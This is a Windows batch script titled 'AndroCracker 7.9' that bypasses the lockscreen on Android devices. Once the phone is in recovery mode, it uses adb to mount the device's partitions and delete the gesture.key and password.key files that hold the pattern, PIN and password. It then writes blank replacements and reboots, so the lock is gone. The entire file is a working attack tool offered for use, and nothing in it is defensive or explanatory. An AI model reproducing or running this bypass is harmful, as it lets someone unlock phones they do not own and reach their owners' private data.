@echo off
cls
title AndroCracker 7.9 by pwnk1d
echo Welcome to AndroidCracker Version 7.9
echo (C) 2014 Justin Maanao (pwnk1d)
echo.
echo WARNING: Do Not Install ADB Recovery Drivers
pause

cls
echo 

:wait
cls
echo Waiting for recovery...
adb get-state > tmpFile
set /p status= < tmpFIle
del tmpFile
if %status%==device goto wait
if %status%==offline goto wait
if %status%==bootloader goto wait
if %status%==unknown goto begin
goto wait

:begin
cls
echo Ready to Crack Android Lockscreen!
echo Passcode, Password, and Pattern will be disabled
echo Press any key to crack...
pause>nul
goto crack

:crack
cls
echo Disabling Android Connections...
adb kill-server>nul
echo Enabling Server Connection...
adb start-server>nul
echo Removing Pattern...
adb shell mount data>nul
adb shell mount system>nul
adb shell rm /data/system/gesture.key>nul
echo Setting Blank Pattern...
adb shell touch /data/system/gesture.key
echo Removing Passcode / Password...
adb shell rm /data/system/password.key>nul
echo Setting Blank Passcode...
adb shell touch /data/system/password.key
echo Password Cracked Successfully!
echo Rebooting Device...
adb shell reboot
echo Cracking Complete!
pause

